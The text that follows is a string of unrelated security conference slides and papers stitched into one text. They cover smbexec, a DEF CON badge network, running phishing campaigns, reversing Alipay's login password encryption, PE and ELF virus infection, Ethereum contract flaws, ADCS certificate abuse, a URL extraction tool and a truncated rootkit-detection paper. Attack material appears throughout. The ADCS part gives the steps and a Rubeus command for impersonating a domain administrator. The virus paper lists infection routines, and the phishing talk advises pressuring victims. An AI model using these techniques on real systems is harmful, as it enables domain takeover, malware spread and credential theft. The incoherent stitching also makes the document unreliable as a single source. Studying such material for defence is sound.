Where can I get smbexec? Sourceforge or GitHub Metasploit Modules • Royce Davis (@r3dy__) from pentestgeek.com • psexec_command • ntds_grab Impacket • Developed in python based on the work by Royce smbexec v2.0 • Ruby port • Brandon McCann (@zeknox) and Thomas McCarthy (smilingraccoon) from pentestgeek.com Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved. Credit where it’s due! • wce.exe - Hernan Ochoa Amplia Security • smbclient & winexe Hash Passing patch JoMokun, Emilio Escobar, Skip Duckwall • vanish.sh Original concept Astr0baby edits by Vanish3r and Hostess • Samba Team • winexe - ahajda & Thomas Hood • Metasploit Team • Nmap Team • Creddump - Brendan Dolan-Gavitt • NTDSXtract - Csaba Barta • libesedb - Joachim Metz • Bernardo Damele's Blog posts Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved. Questions • Twitter -> @Brav0Hax • IRC -> J0hnnyBrav0 Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
pdf
The Darknet of Things Building Sensor Networks to do our bidding. Introductions Anch - anch@subba.net @boneheadsanon Omega - omega@omegacs.net The Internet of Things Things... No, Not your fridge. An Internet of things, not things on the Internet. Sensor Networks What are they What they (are supposed to) do What they are used for (usually) The Network part of Sensor Networks ZigBee (802.15.4) LowPower Wireless Network Advantages Limitations 6LowPan 802.15.4 (Yup, Runs on top of ZigBee MAC) IPv6 for Low Power Wireless Advantages Limitations So... What are we doing here... The Project Build a Darknet... of Things A darknet of things Something fun to build Hardware hacking taken to the next level build the largest free-roaming sensor network in the world. (DC21?!) A project for the community to work on Considerations NO ARDUINO Overdone People already know it (let’s learn something new) Processors aren’t powerful enough. (to really do anything interesting) Considerations Must be HACKABLE People need to have fun with it. Modifiable, Changeable, Bendable. But still stable. Considerations Maintainable Fix shit if it b0rk3s. Shit happens. Considerations Must be a network of THINGS (Not things on a network) Wearable/Moveable. Pocketable. Considerations Must work outside of DefCon Needs to be able to work at home/hackerspaces Access-Points/Development boards available The Hardware Darknet Badges... Planned for DefCon 21 2 ARM Micro Processors (1 Main, 1 Network) USB (2 ports, host and client) 2.8” TFT Touch Screen 6LowPan Network Connectivity Battery Powered and Rechargable DarkNet Badges... HACKABLE JTAG Headers and Peripherals Available Hardware Schematics, Software ToolChain etc. Open and Available, and part of a project we are starting today.. More information later. DarkNet Badges... EXPANDABLE SDRAM Pads Available unused peripherals available Dev. Boards and AP’s Network only development boards Designed to be attached to your projects UART(s) exposed 1 x MC13224v USB + JTAG Dev. Boards and AP’s McMote 1” circular size. UART for expansion (direct FT232R compat.) RGB LED CR2032 Powered Dev Boards and AP’s MC13224v to Ethernet (McNic) Small form factor AP style operation 6lowPan -> ipv6 ethernet Hardware Demonstration Lets hope the sacrifices have worked... The Potential For Fun and Profit! Now to the fun part... Why and how you can get involved. If you build it... We felt the community needed a common project. Break people OUT of the Arduino RUT! Expose people to a new chip and coding possibilities Something Different and Fun to work on. Projects - Darknet of things. Goal Build fun things that operate *AS* a DarkNet of things. We’ve got badges for next year... what are you going to do? Projects - Darknet of things. Hardware information at: http://www.dcgdark.net - ipv4/ipv6 http://dev.dcgdark.net - ipv6 only Working ipv6 connectivity is a requirement. Projects - ARM Dev Environment. Goal Create a better development library for the ARM chips. CMSIS is bullshit. Something More akin to atmega libraries. Projects - ARM Dev Environment. More Information at: http://arm.dcgdark.net - ipv4/ipv6 Get Involved! Custom badge artwork for DCG’s Get some hardware (we will have more information later) Get the BOM/Schematics, make your own! LEARN, HACK, HAVE FUN, TEACH! Thanks! Big thanks go out to the following people to who helped us get started on this adventure... Our Wives Russr and DC719 for Inspiration and encouragment. DC503 for being awesome! Your Mom... ( :-P ) Well, we won’t go into that one.
pdf
PHISHING WITHOUT FAILURE AND FRUSTRATION or “How I learned to stop worrying and love the layer 8” Unabridged Version Jay Beale CTO, InGuardians 1 Larry Pesce Director of Research, InGuardians """ ▪ As white hats, phishing should be just as easy as for black hats, right? • Write a crafty e-mail that directs readers to a web site. • Build a one-form web site to collect credentials. • Get client approval of the product of steps 1 and 2. • Send e-mail to as many people as possible at company. • Watch the passwords fly in. ▪ Sometimes you get lucky and it really is this easy. Whew! ▪ Expect 10–40% of employees to give their passwords. Why isn't this simple? 2 """ ▪ Larry once had a phishing campaign with a success rate in excess of 100%. ▪ The company targeted a subset of its employees. ▪ His "give us passwords or we cut off your access" call to action worked really well. ▪ They forwarded the phishing e-mail to their co-workers! • Oh, and tested the privilege-separated accounts. • All of them… Success Rates in Excess of 100% 3 """ ▪ A professional phishing engagement should "harden" an organization's staff. ▪ More specifically: • increase individual resilience in every staff member. • train the organization in collaborative detection. ▪ After a couple phishing campaigns, employees will detect scams and report at higher percentages. Why Phish? 4 """ ▪ Most people’s first few professional attempts don’t go this well. ▪ Years ago, when we started phishing, we'd watch our consultants get so frustrated with the situation. We got better. ▪ The rest of this talk details ours and others' frustrating situations, teaching you how to avoid them entirely and achieve success. Why this talk? 5 Layer 8 """ ▪ This isn’t about red team phishing - we do that too, but it rarely involves these challenges. ▪ Eleven stories of failure, each with specific solutions. ▪ Generalizing… ▪ Setting up any professional phishing campaign involves: • Collaboration • Communication • Negotiation ▪ For that matter, anything in life with more than one person involves negotiation. TL;DR 6 """ ▪ Red Team phishing is phishing solely to get initial access, not to test everyone ▪ Incredibly small target pool - usually 1-2 e-mails • Manually determine targets • Use open source recon: LinkedIn, Connect.com, Company website ▪ Low and slow - we must not get caught • It can help to have a pre-established persona with a LinkedIn profile • Pretext focused on specific job function, e.g. recruiters open resumes • Payload needs to be stealthy, topical and never cause suspicion ▪ Pro-tip: use Gmail or Office365 since many organizations whitelist these. Penetration Test Phishing vs Red Team Phishing 7 """ ▪ We're going to tell you eleven stories from real life experience. ▪ Each informed the way that we run a phishing engagement. ▪ We give this advice as if you fill one of these roles: • Consultant working for multiple clients • Security professional inside a single organization Eleven Stories 8 """ 9 """ ▪ We gave our client three scenarios to choose from. ▪ He chose one, we got the pretext built by Wednesday, sent the URL to the client and told him we'd be sending the e-mails on Friday. ▪ He showed the URL to his manager on Thursday, who objected to the entire scenario. ▪ You've just blown your schedule to bits. Story 1: Schedule Fail 10 """ 11 COMMUNICATION"FAIL """ ▪ Guide the client/organization through the process strongly from the beginning. ▪ Tell the org what you're going to need before you even start brainstorming pretexts. ▪ Find out on Day 0 who can veto a pretext. Explain the risk of a late-stage veto. ▪ Set and remind org of deadlines for pretext acceptance. ▪ Prototype pretexts: don't build a site until final agreement on pretext. ▪ Involve the org contact in developing pretexts. ▪ Realize that you're in a multi-party negotiation and rock it accordingly. Story 1: Fix It 12 """ ▪ Communicate more in the beginning Introvert Pro-tip 13 ▪ Far less time spent later on: • talking about frustrations • assigning blame == • lamenting failure """ 14 """ ▪ You spend substantial time developing a pretext e-mail and landing page, but then none of your e-mails make it through the organization's spam filters. ▪ Spam filters trigger because: • your domain is too new • your domain lacks or has broken SPF/DKIM/MTA configs • they get lucky ▪ Back to the drawing board! The schedule suffers and the org contact is annoyed. Story 2: SPAM Filters 15 """ 16 """ ▪ On the technical side, configure: • SPF – make sure to include your IPv6 address • DKIM • MTA with a domain that has existed for at least a week. ▪ An even better solution is to explain to your contact that you're testing the humans, not the technology, and ask for a spam filter whitelist. ▪ Make sure to budget time and test the whitelist! Fix 2: Technical and Human 17 """ 18 """ ▪ You use all the best tools (including Maltego) and get only 15 e-mail addresses. ▪ If you want to test the organization as a whole, you need a heck of a lot of e- mail addresses. ▪ Black Hats get to: • brute force mail servers to find valid e-mail addresses • buy mailing lists Story 3: Numbers Game Fail 19 \ """ 20 """ ▪ Let's stipulate that an attacker could get a very comprehensive list of e-mail addresses. ▪ RED TEAM TACTICS: White Card event ▪ Present options to the client: • We'll find addresses, include them in the report, but then client gives us a comprehensive list of e-mail addresses. • We can brute force your mail server with spam. • Just give us a complete set of e-mail addresses. Fix 3: Numbers Game Fail 21 """ 22 """ ▪ Your e-mail says it's from Robert Smith, the Director of Information Technology. ▪ Your target organization all sits in a one story open floor plan. ▪ People start walking over to Robert’s desk, and he quickly alerts everyone. ▪ Your success rate plummets! Story 4: The Open Floor Plan 23 """ 24 """ ▪ Know your target. ▪ If you are a third party, ask your client contact about: • Where everyone sits • How they communicate • Their escalation procedure – Do they call compliance, help desk, or HR? ▪ Better still, make your client/boss contact and at least one level of management above her part of the pretext brainstorm. Catch pretext problems early. Fix 4: The Open Floor Plan 25 """ 26 """ ▪ Your client asks you to send the phishing e-mails slowly, to avoid detection. ▪ Your victims start to talk. By the time you've got ten e-mails out, someone has alerted the security folks, compliance or the help desk, who send out a mass e- mail. ▪ The jig is up! Story 5: Low and Slow 27 """ 28 """ ▪ Phishing truly is about speed. You must rush. ▪ You’re racing an organization’s ability to communicate and collaborate. ▪ Make sure your e-mail gives so short a deadline that people rush to take your desired action, before: • Someone warns them • They get a chance to think about whether this is a good idea. Fix 5: Speed (racer meme) 29 """ 30 you"have"chosen…poorly HE#CHOSE#POORLY """ ▪ You choose a domain where a single letter is changed or one where you leave out a letter. ▪ Bonus: you can register a TLS certificate! ▪ Examples: • elilily.com • elilil1y.com ▪ Outcome: The employees are trained to catch this. None of them are fooled. Story 6: Poor Domain Choice 31 """ 32 """ ▪ We've had very, very good results with domain names that include the company's true name: • elililly-benefits.com • elillilly.myhealthbenefits.com ▪ Figure out what will work. ▪ Check it with the org and your colleagues. Fix 6: Good Domain Choice 33 """ ▪ What if your client asks for the L-changed-to-1 domain? ▪ Phishing is all about: • Collaboration • Communication • Negotiation ▪ The easiest and most common way to lose in a negotiation is to not realize you're in one. ▪ Can you agree to brainstorm domains as a larger group? Negotiation 34 """ 35 """ ▪ Your org contact asks you to use broken grammar and spelling to simulate the weakest phishes they get. ▪ This lowers your success rate, leaving you feeling frustrated. ▪ Your client has given his company a false sense of security. ▪ By winning his negotiation, the client just lost. ▪ Rule of Negotiation: if anyone loses, everyone loses. Story 7: Broken Grammar 36 """ 37 """ ▪ Share with the org about how broken grammar fails to harden the staff against phishers who write well. ▪ Find a phishing e-mail you’ve received with perfect grammar and share it. ▪ Negotiation: offer to do a round without the broken grammar, then a round with broken grammar/spelling Fix 7: Communication 38 """ 39 """ ▪ The org doesn’t involve enough of their HR, Legal, etc… folks, who call in the Fuzz to investigate. ▪ Story of a recent client called InfraGard to investigate. Story 8: the Investigation 40 """ 41 """ ▪ You have to lead the phishing project. Make involving HR, Legal, … a mandatory part of the test. That means brainstorming everyone there who may get called as part of an escalation. ▪ Humans most easily learn and persuade through story. Make this story part of the conversation early on. ▪ Know your org. Talk about what the escalation paths are and understand where to place your debugger breakpoints. Fix 8: YOU Have to Lead 42 """ 43 """ ▪ Your campaign is successful, but the client feels like you didn't communicate enough. ▪ OR ▪ The client calls you hourly for results. Story 9: Success and an Unhappy Client 44 """ 45 """ ▪ Make client feel loved by giving them stats even more often during first day. ▪ Remember client contact (security people) has been rooting for this kind of thing for a long time . ▪ Pro-Tip: Expectations Management ▪ Keep your level of effort under control by telling them in advance how often you’ll be giving stats. Fix 9: Success and a Happy Client 46 """ 47 """ ▪ You re-invent the wheel every time your group does a phishing campaign, so you don’t innovate enough. ▪ Story: every person in our company who phished created new infrastructure from scratch. ▪ You don’t move forward, you spend too much time building and debugging infrastructure. Story 10: Re-inventing the Wheel 48 """ 49 """ ▪ Pro-tip: use existing good free tools (Phishing Frenzy or dev your own), then teach everyone how to use it. ▪ Every phishing test (or at least every other) should make you better at phishing. Get better or stagnate. ▪ Spin up a few mail servers (MTA’s) then write scripts/processes to change the domain names around. ▪ Enlightened Laziness (automate anything you can) means you reduce errors and spend your time truly creating. Fix 10: Create, Maintain, Publicize 50 """ 51 """ ▪ You don’t follow up with the right people afterward and learn what effect you’re having, and what they did after the campaign. Story 11: Unknown Impact 52 """ 53 """ ▪ Plan how to tell the staff who fell victim about it, focusing on producing better results proactively, not through shame. ▪ Watch to see how reporting rates, escalation and alerting improves. ▪ If you’re a third party, recommend that the org phish itself at least quarterly. Fix 11: Unknown Impact 54 """ 55 """ ▪ Phishing is all about collaboration, communication and negotiation. • If there are 2 people talking, it’s a negotiation. ▪ Most of the failures we’ve described are failures to think ahead and communicate, collaborate and lead with the org. ▪ Use and spread these stories to persuade, plan and win. • If anyone loses a negotiation here, everyone loses. Overall Lesson 56
pdf
某付宝登录js分析 收录于合集 #JS逆向 4个 aHR0cHM6Ly93d3cuYWxpcGF5LmNvbS8= f12 network Ctrl+Shift +F 局搜索需要解密的password关键字 2021-09-18 19:22 原创 不愿透露姓名的热⼼⽹友 ⼀位不愿透露姓名的热⼼⽹友 多次调试后最终在index.js中的393⾏找到getPassword的⽅法,转⽽搜索getPassword声明 位置;在index.js中4979⾏地⽅找到声明信息。 然后下断点,对⽐发包请求内容,发现n的内容password字段信息内容⼀⾄,⽽n是 e.alipayEncrypt(2,i,t)传过来的,所以只需要 由此可得: 1 return e.alipayEncrypt(2,i,t) 1 2 n --> e .alipayEncrypt() e --> new s.RSA 先跟进下s.rsa 可以知道 s.RSA 是个 function ,跟进 s.RSA 发现来到了 Wi ⽅法,(名字不⼀样的原因可能是 在上⾯的代码重新赋值了名字,不过不重要。)发现这个⽅法是规定 key_size 和 exponent 的。 回到getpassword找到加密⽅法 e .alipayEncrypt()  ,发现也是 Wi, 接着发现 Wi 是从 Gi 过 来的.....这种情况下发现加密⽅法和其他js代码在同⼀个js⻚⾯内有⼏万⾏代码的只能费时间 选择性的扣有⽤代码了; 3 4 s -- > ? ....... 回到 getPassword ⽅法附近找到 s 是怎么来的,在4971⾏找到 s = security_crypto_200_index ,这时候搜索 security_crypto_200_index 把js⽅法扣下来 security_crypto_200_index内容是键值对,我们只需要s.RSA也就是 security_crypto_200_lib_rsa 通过crtl+f 搜索相关信息可以找到security_crypto_200_lib_rsa开头,⽽结尾这个就是Wi 了,具体在哪⾃⼰判断和调试了,⼤概为下⾯内容 根据所需要的⽅法 在不考虑 i 变动的情况下调⽤代码,剩下的就是和 s.RSA ⼀样的步骤扣出 是 s.Base64 了 1 2 3 4 5 6 7 security_crypto_200_index = function(t) { return t = { Base64: security_crypto_200_lib_base64, xor: security_crypto_200_lib_xor, RSA: security_crypto_200_lib_rsa } }() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 security_crypto_200_lib_rsa = function(t) { function e(t, e, i) { null != t && ("number" == typeof t ? this.fromNumber(t, e, i) } ********* ************     ************** **************** return this.key }, Wi.prototype.getPrivateKey = function() { return this.getKey().getPrivateKey() }, Wi.prototype.getPrivateKeyB64 = function() { return this.getKey().getPrivateBaseKeyB64() }, Wi.prototype.getPublicKey = function() { return this.getKey().getPublicKey() }, Wi.prototype.getPublicKeyB64 = function() { return this.getKey().getPublicBaseKeyB64() }, t = Wi }() function getPassword(pwd) { var s = security_crypto_200_lib_rsa; var e = new s; //var i = security_crypto_200_lib_base64; //s.decode(options.TS); e.setPublicKey("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAo0z/L+pelCPu6 DwDFAY/3ITzesr8lnNmYjHht4XUJvLYYBwvDbHMc8xi9sPK9ohVHIKRVLVmmZ9SdmuWYN 9HzCyyZ6kEHx+IDBPnulwjdeN/N0w25mVRhYDWxJ2/1C6cPIuNcISchOQdGKuAC0xR37i/k WH9sjBidAQjageYgQoj1HX81flZaPve75Esue85AHZ0VIurjwx7uEuxvQtvCIUvX1bbF13TIYuT bJbn/LrNHby1Kxp42ggNUjAkYUVSF7SC3UP+YGKruii7Vh1UnJ/rpVhjdt3It8le9px8H4Ltt9N 3hzU17rBnFpp2ZnmiZVtlfMvsStY54Fl5cSJVxQIDAQAB"); return e.alipayEncrypt(2, i, pwd) } 完成,剩下i的内容在⽹⻚源代码就能找到,只需要把他扣给decode 喜欢此内容的⼈还喜欢 收录于合集 #JS逆向 4 上⼀篇 · JS逆向|40分钟视频通杀⼤⼚登陆加密 ⽤ CSS 和 JS 实现时钟效果 字节前端 ByteFE 收藏,⽇常必备的JS⼯具函数⼤全 前端码农 JS对象的属性是否有顺序? 总在落幕后
pdf
________________________________________________________________________ 14 March 2008 Comparison of File Infection on the Windows and Linux Disclaimer: The author of this document is not responsible of any kind of damage that could be made with the bad use of this information. The objective of this paper is for educational and research purposes only. It is made for use in viruses, but not as to promote any intentional harm or damage on computer systems. Author: lclee_vx lclee_vx@yahoo.com 1.0 Foreword / Introduction This paper documents the common file infection strategies that virus writers have used over the years, conduct the comparison of Portable Executable (PE) file infection on the Windows platform and Executable and Linking Format (ELF) file infection on the Linux platform. So, let’s set the goal: I will go through the file format of PE and ELF, demonstration, source code, examples included along with the introduction of simple file infection method on Windows and Linux. Here are the two ways (file infection) I will present here: 1. Appending to the PE file with adding a new section – Windows Platform 2. Writes parasite code at entry point and the original data will be stored at end of file – Linux Platform Note: This article is never perfect, so notify me the possible mistakes in this document for further updates. Contact me: Email : lclee_vx@yahoo.com Group : F-13 Labs Personal Web Site : http://www.f13-labs.net 2.0 Useful Things for Coding You need some tools/references before start code the virus on the Linux/Windows platform. As below: Windows: 1. The tasm 5.0 package – Win32 Assembly Language compiler 2. The API list (Win32 API help file) 3. PE file format – Strongly recommended Matt Pietrek document 4. Basic knowledge on Win32 Assembly Language 5. Assembly IDE – RadASM version 2.2.0.2 6. Debugger – OllyDbg version 1.10 7. Platform – Windows XP Linux: 1. Nasm (Netwide Assembler) version 0.98.39 – Assembly Language Compiler (Linux) Comparison File Infection on the Windows and Linux Page 2 of 10 2. i386-PC-Linux System Call Reference 3. ELF file format 4. Basic knowledge on Linux assembly language 5. IDE/Editor – vi 6. Debugger – Data Display Debugger (DDD) version 3.3 and GNU Project Debugger (GDB) 7. Platform – Red Hat 8.0 3.0 Introduction of Portable Executable (PE) File Format Win32 refers to the Application Programming Interface (API) available in Windows operating systems. It is the set of system functions that are part of the operating system and that are available to be called form a Win32 (32-bit) Windows application. Basically, the i386 architecture has four privilege levels, also known as rings (Ring0 – Ring3) that control the things such as memory access and access to certain sensitive CPU instructions. As you noticed we work in a 32 bit environment on the Windows platform, which means that memory address are 32 bit (00000000h – FFFFFFFFh) and the memory layout is as below: 00000000h – 3FFFFFFFh Application code and data 40000000h – 7FFFFFFFh Shared memory (system dll’s) 80000000h – BFFFFFFFh Kernel C0000000h – FFFFFFFFh Device Drivers Detail information can get from Microsoft website. Here, we will code the simple virus, infect the PE file in level Ring3 (00000000h – 3FFFFFFFh) and adding another new section. Let’s see how a virus can change an executable header in the following sections. Before start the game, it is very important to have cleared the structure of the PE header, offset of the section and PE format layout. PE stands for Portable Executable. It is the native file format of Win32 such as binary programs (exe, dll, sys, scr) or object files (bpl, dpl, cpl, ocx, acm, ax). The meaning of ‘Portable Executable’ is that the file format is universal across win32 platform such as Windows 98, 2K and NT. The PE loader of every Win32 platform recognizes and uses this file format even when Windows is running on CPU platforms other Comparison File Infection on the Windows and Linux Page 3 of 10 than Intel. Like other file formats, PE has different areas called sections such as .text, .data, .rdata, .bss and .reloc. The most important thing to know about PE files is that the executable codes on disk do not need relocation for library calls anymore. Instead, the import address table (IAT) is used for that functionality by the system loader. It is also important to note that PE files are not just mapped into memory as a single memory-mapped file. Instead, the system loader looks at the PE file and decides that what portions of the file to map in. Figure 1 PE File Layouts on Disk and in RAM Figure 1 is a diagram showing a Portable Executable (PE) file layout on disk and RAM when executed by a Win32 operating system. The details information of every section in PE file format can refer to ‘Overview of PE file format’ by Iczelion. The Table 1 as below is the summary of important fields in the PE header, Section Table and Import Table in the process of PE file injection. Important Fields Functionality Comparison File Infection on the Windows and Linux Page 4 of 10 PE Header Machine Which CPU this file intended for Checked by viruses to ensure they only infect x86 platforms NumberOfSections The number of sections in the file This field is updated after virus adds a new section. Characteristics What type of file this is (Exe or DLL) SizeOfCode Size of all the code sections AddressOfEntryPoint The relative virtual address (RVA) where execution begin Viruses change this to point to the virus code ImageBase First byte of image in memory SizeOfImage The size of the image Section Table VirtualSize Total size of the section in memory SizeOfRawData Size of the section on disk Characteristic What kind of section this is The Import Table Viruses use the import table to lookup the address of any API functions they need to call. Table 1 Summary of Important Fields in PE Files 4.0 Introduction of Executable and Linking Format (ELF) The Executable and Linking Format was originally developed by UNIX System Laboratories (USL) as part of the Application Binary Interface (ABI). The Tool Interface Standards committee (TIS) has selected the evolving ELF standard as a portable object file format that works on 32-bit Intel Architecture environments for a variety of operating systems. There are three types of object files: 1. relocatable file – holds code and data for linking with others object files 2. executable file – holds a program suitable for execution 3. shared object file – holds code and data suitable for linking in two contexts. The object file format provides parallel views of a file’s contents, reflecting the differing needs of these activities. Comparison File Infection on the Windows and Linux Page 5 of 10 Figure 2 ELF File Layout An ELF header resides at the beginning and holds a “road map” describing the file’s organization. It provides information such as offsets to program header and section header tables, sizes and number of entries. A section header table is used to locate and interpret all of the files sections. The table is an array [e_shnum] of Elf32_Shdr structures, holding information about section sizes, locations and virtual addresses. A program header table is used to describe segment information the system needs to prepare in program loading for execution. It holds information such as virtual addresses, file size, segment attributes and so on. Comparison File Infection on the Windows and Linux Page 6 of 10 The summary of the important fields in ELF file format as below: Important Fields Functionality Elf32_Ehdr e_ident Holds the magic values 0x7f, ‘ELF’ and some flags e_entry Virtual address of entry point e_ehsize Size of the ELF header e_phentsize Size of one entry in the program header e_phnum Numbers of entrys in the program header Elf32_Phdr p_vaddr Virtual address in memory p_addr Physical address p_memsz Size of the segment in memory 5.0 Demonstration of PE/ELF File Infection Let’s make a quick review of the File Infection process on the Windows and Linux. Please refer to the attachments for the source code of PE/ELF infector. PE Infection ELF Infection 1. Get the delta offset – where executing the code Get the delta offset – where executing the code 2. Get the Kernel32.dll address Control access to a region of memory, all the system call can access with int 80h 3. Get the API functions as below: - LoadLibraryA - GetProcAddress - GetCurrentDirectoryA - SetCurrentDirectoryA - FindFirstFileA - FindNextFileA - FindClose - GetFileAttributesA - SetFileAttributesA - CreateFileA - GetFileSize - GlobalAlloc - ReadFile - SetFilePointer - WriteFile - GlobalFree Scan the target file in current directory Comparison File Infection on the Windows and Linux Page 7 of 10 - CloseHandle - ExitProcess 4. Scan the target file in current directory Open the file to see if it is infected Open the file to see if it is infected If infected, exit and return to the host program If Infected, search for another file (maximum 3 files) Else, virus infects target file by overwriting host code by viral code. The original host code is stored at the end of host file. 5. Else, File Injection with adding the new section Exit and return control to the host program 6. Copy virus body into the section 7. Exit and return control to the host program The detail demonstrations please refer to the attachment. 6.0 Conclusion There are several reasons for the non-issue of the Linux virus. For a Linux binary virus to infect ELF executables and spread, those executables must be writable by the user activating the virus. That is not likely to be the case. Chances are, the files/programs are owned by power user such as root and the user is running from a non-privileged account. Second, even if the Linux virus successfully infects a program owned by the user, its task of propagation is made much more difficult by the limited access right of the user account. As we know, Linux applications and software is almost all open source. Binary-only products are rare and this is a tough place for a Linux virus to hide. Each of the above reduces the reproduction rate of the Linux virus. Reference 1. Szor, Peter. Attacks on Win32. Virus Bulletin Conference, October 1998, Munich/Germany, page 57-84. Comparison File Infection on the Windows and Linux Page 8 of 10 2. Inside Windows: An In-Depth Look into the Win32 Portable Executable File Format: http://msdn.microsoft.com/msdnmag/issues/02/02/PE/defaul t.aspx . 3. Microsoft Portable Executable and Common Object File Format Specification: http://www.microsoft.com/whdc/system/platform/firmware/PECOFF.mspx. 4. Silvio Cesare, 1999. Unix Viruses 5. Billy Belcebu, 1999. Viruses under Linux, Xine – Issue #5 6. @Computer Knowledge 2000, 2000. Computer Knowledge Virus Tutorial Credit: 1. The Linux ELF infector is inspired of Winux virus of Benny/29A 2. Billy Belcebu, Virus under Unix 3. izee, skyout, robinh00d, synge, moaphie
pdf
Konstantinos Karagiannis CTO, Security Consulting @konstanthacker ethereum is not bitcoin “The key component is this idea of a Turing-complete blockchain” --Vitalik Buterin smart contracts literally a billion reasons 30 million reasons will do caveats solidity dev tools • .sol files > bytecode > blockchain • Atom with plugins: • language-ethereum • etheratom • Remix: browser based solgraph oyente basic methodology • Interview devs • Review .sol file • Try compiling • Dissect code flow—optional solgraph • Run oyente (cross fingers) • Manually verify 3/4 vuln yay/nays • Manually check for following vulns… reentrancy leave off the first “re-” for savings reentrancy (and irony) in the dao code default public – parity wallet hack initWallet execute unchecked send in king of the ether unchecked send gas limits withdraw don’t send withdrawn not sent encryption transaction-ordering dependence call-stack depth limit variable or function ambiguity input validation throw -- being deprecated require (condition) – check external conditions (invalid inputs or errors in external components) assert (condition) – internal errors odds and ends • Timestamp dependence • Business logic flaws • Separating public/private data get involved dox me … or just keep in touch @konstanthacker konstantinos.karagiannis@bt.com
pdf
在ADCS中,错误配置会导致普通域用户到域管理员的提权。主要体现在证书模板这里,在 证书模板中,我们可以设置应用程序的策略。 我们比较关心的如下: 1 Client Authentication (OID 1.3.6.1.5.5.7.3.2) 2 PKINIT Client Authentication (1.3.6.1.5.2.3.4) 3 Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2) 4 Any Purpose (OID 2.5.29.37.0) 这些可以使得我们拥有请求票据的功能,然后就是SAN的模拟,SAN允许我们使用UPN来 指定用户,来达到用户模拟的目的。 其LDAP查询语句如下: 1 (&(objectclass=pkicertificatetemplate)(!(mspki‐enrollmentflag:1.2.840.113 556.1.4.804:=2))(|(mspki‐ra‐signature=0)(!(mspki‐rasignature=*)))(|(pkiexte ndedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextend edkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4) (pkiexte ndedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate‐name‐ flag:1.2.840.113556.1.4.804:=1)) 使用其发布的测试工具,PSPKIAudit测试显示存在ESC1漏洞。 攻击步骤 首先申请一张证书,并将upn名称改成域管 然后导出证书 用密码导出 然后使用rubeus攻击。 1 Rubeus.exe asktgt /user:administrator /certificate:3.pfx /password:123456 /ptt /user:模拟的账户 /certificate:申请的证书 /password:证书密码 成功获取域控权限
pdf
MoreFind ⼀款⽤于快速导出URL、Domain和IP的⼩⼯具 快速安装 ⽅式⼀: 通过Go包管理安装 ⽅式⼆: 直接安装⼆进制⽂件 ⽅式三: 本地编译 ⽤法说明 1)帮助信息 go install github.com/mstxq17/MoreFind@latest wget --no-check-certificate https://ghproxy.com/https://github.com/mstxq17/MoreFind/releases/download/v1.0.2/MoreFi nd_1.0.2_`uname -s`_`uname -m`.tar.gz tar -xzvf MoreFind_1.0.2_`uname -s`_`uname -m`.tar.gz sudo mv ./MoreFind /usr/bin/MoreFind && chmod +x /usr/bin/MoreFind git clone https://github.com/mstxq17/MoreFind.git chmod +x ./build.sh && ./build.sh MoreFind -h 2)导出URL 3)导出域名 4)导出ip 5)⽀持导出结果 TODO 1)优化代码逻辑和结构 2)输出结果⾃动去重复 MoreFind -u MoreFind -d MoreFind -i MoreFind -u -d -i -o result.txt 3)完善脚本异常处理部分 4)加⼊部分URL智能去重代码 5)完善Log输出处理 6)实现⾃动强制更新
pdf
A Methodology to Detect and Characterize Kernel Level Rootkit Exploits Involving Redirection of the System Call Table John Levine, Julian Grizzard, Henry Owen School of Electrical and Computer Engineering Georgia Institute of Technology E-mail: levine@ece.gatech.edu Abstract There is no standardized methodology at present to characterize rootkits that compromise the security of computer systems. The ability to characterize rootkits will provide system administrators with information so that they can take the best possible recovery actions and may also help to detect additional instances and prevent the further installation of the rootkit allowing the security community to react faster to new rootkit exploits. There are limited capabilities at present to detect rootkits, but in most cases these capabilities only indicate that a system is infected without identifying the specific rootkit. We propose a mathematical framework for classifying rootkit exploits as existing, modifications to existing, or entirely new. An in-depth analysis of a particular type of kernel rootkit is conducted in order to develop a characterization. As a result of this characterization and analysis, we propose some new methods to detect this particular class of rootkit exploit. 1. Introduction Computers on today’s Internet are vulnerable to a variety of exploits that can compromise their intended operations. Systems can be subject to Denial of Service Attacks that prevent other computers from connecting to them for their provided service (e.g. web server) or prevent them from connecting to other computers on the Internet. They can be subject to attacks that cause them to cease operations either temporary or permanently. A hacker may be able to compromise a system and gain root level access, i.e. the ability to control that system as if the hacker was the system administrator. A hacker who gains root access on a computer system may want to maintain that access for the foreseeable future. One way for the hacker to do this is by the use of a rootkit. A rootkit enables the hacker to access the compromised computer system at a later time with root level privileges. System administrators have a continuing need for techniques in order to determine if a hacker has installed a rootkit on their systems. Techniques currently exist for a system administrator to monitor the status of systems. Intrusion detection systems operate at numerous levels throughout the network to detect malicious activity by hackers. At the system or host level, a file integrity checker program can be run on the computer system in question. These methods may not be able to detect the presence of a kernel level rootkit. In this paper we present a preliminary mathematical framework to classify rootkit exploits and discuss a methodology for determining if a system has been infected by a kernel level rootkit. New signatures can then be created for these kernel level rootkits in order to detect them. We have conducted our research on a Red Hat Linux based system using the stock Red Hat kernel 2.4.18-14 and the standard Linux kernel 2.4.18 but this methodology will apply to other Linux distributions that are based on the standard Linux kernel. Also we believe our methodology should extend to other Unix based systems. 1.1. Definition of a Rootkit A rootkit can be considered as a “Trojan Horse” introduced into a computer operating system. According to Thimbleby, Anderson, and Cairns, there are four categories of trojans. They are: direct masquerades, i.e. pretending to be normal programs; simple masquerades, i.e. not masquerading as existing programs but masquerading as possible programs that are other than what they really are; slip masquerades, i.e. programs with names approximating existing names; and environmental masquerades, i.e. already running programs not easily identified by the user [1]. We are primarily interested in the first category of Trojans, that of direct masquerades. A hacker must already have root level access on a computer system before he can install a rootkit. Rootkits do not allow an attacker to gain access to a system. Instead, they enable the attacker to get back into the system with root level permissions [2]. Once a hacker has gained root level access on a system, a trojan program that can masquerade as an existing system function can then be installed on the compromised system. Rootkits are a fairly recent phenomenon. Systems used to have utilities that could be trusted to provide a system administrator with accurate information. Modern hackers have developed methods to conceal their activities and programs to assist in this concealment [3]. 1.2. Kernel Level Rootkits Kernel level 